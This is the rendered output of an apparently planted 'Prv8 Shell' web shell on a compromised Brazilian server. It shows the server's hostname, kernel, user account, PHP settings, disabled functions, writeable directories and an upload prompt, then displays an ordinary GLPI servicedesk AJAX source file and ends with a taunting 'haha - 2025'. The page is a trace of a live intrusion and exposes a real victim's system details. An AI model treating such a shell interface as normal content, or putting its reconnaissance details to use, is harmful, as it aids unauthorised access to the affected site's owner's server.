Prv8 Shell
Server : Apache
System : Linux vps.urbanovitalino.adv.br 3.10.0-1062.12.1.el7.x86_64 #1 SMP Tue Feb 4 23:02:59 UTC 2020 x86_64
User : urbanovitalinoad ( 1001)
PHP Version : 7.3.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/urbanovitalinoad/public_html/servicedesk/ajax/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/urbanovitalinoad/public_html/servicedesk/ajax/dropdownRubDocument.php
<?php
/**
 * ---------------------------------------------------------------------
 * GLPI - Gestionnaire Libre de Parc Informatique
 * Copyright (C) 2015-2021 Teclib' and contributors.
 *
 * http://glpi-project.org
 *
 * based on GLPI - Gestionnaire Libre de Parc Informatique
 * Copyright (C) 2003-2014 by the INDEPNET Development Team.
 *
 * ---------------------------------------------------------------------
 *
 * LICENSE
 *
 * This file is part of GLPI.
 *
 * GLPI is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or
 * (at your option) any later version.
 *
 * GLPI is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with GLPI. If not, see <http://www.gnu.org/licenses/>.
 * ---------------------------------------------------------------------
 */

if (strpos($_SERVER['PHP_SELF'], "dropdownRubDocument.php")) {
   $AJAX_INCLUDE = 1;
   include ('../inc/includes.php');
   header("Content-Type: text/html; charset=UTF-8");
   Html::header_nocache();
}

Session::checkCentralAccess();

// Make a select box
if (isset($_POST["rubdoc"])) {
   $used = [];

   // Clean used array
   if (isset($_POST['used']) && is_array($_POST['used']) && (count($_POST['used']) > 0)) {
      $iterator = $DB->request([
         'SELECT' => ['id'],
         'FROM'   => 'glpi_documents',
         'WHERE'  => [
            'id'                    => $_POST['used'],
            'documentcategories_id' => (int)$_POST['rubdoc']
         ]
      ]);

      while ($data = $iterator->next()) {
         $used[$data['id']] = $data['id'];
      }
   }

   if (preg_match('/[^a-z_\-0-9]/i', $_POST['myname'])) {
      throw new \RuntimeException('Invalid name provided!');
   }

   if (!isset($_POST['entity']) || $_POST['entity'] === '') {
      $_POST['entity'] = $_SESSION['glpiactive_entity'];
   }

   Dropdown::show(
      'Document', [
         'name'      => $_POST['myname'],
         'used'      => $used,
         'width'     => '50%',
         'entity'    => intval($_POST['entity']),
         'rand'      => intval($_POST['rand']),
         'condition' => ['glpi_documents.documentcategories_id' => (int)$_POST["rubdoc"]]
      ]
   );
}

haha - 2025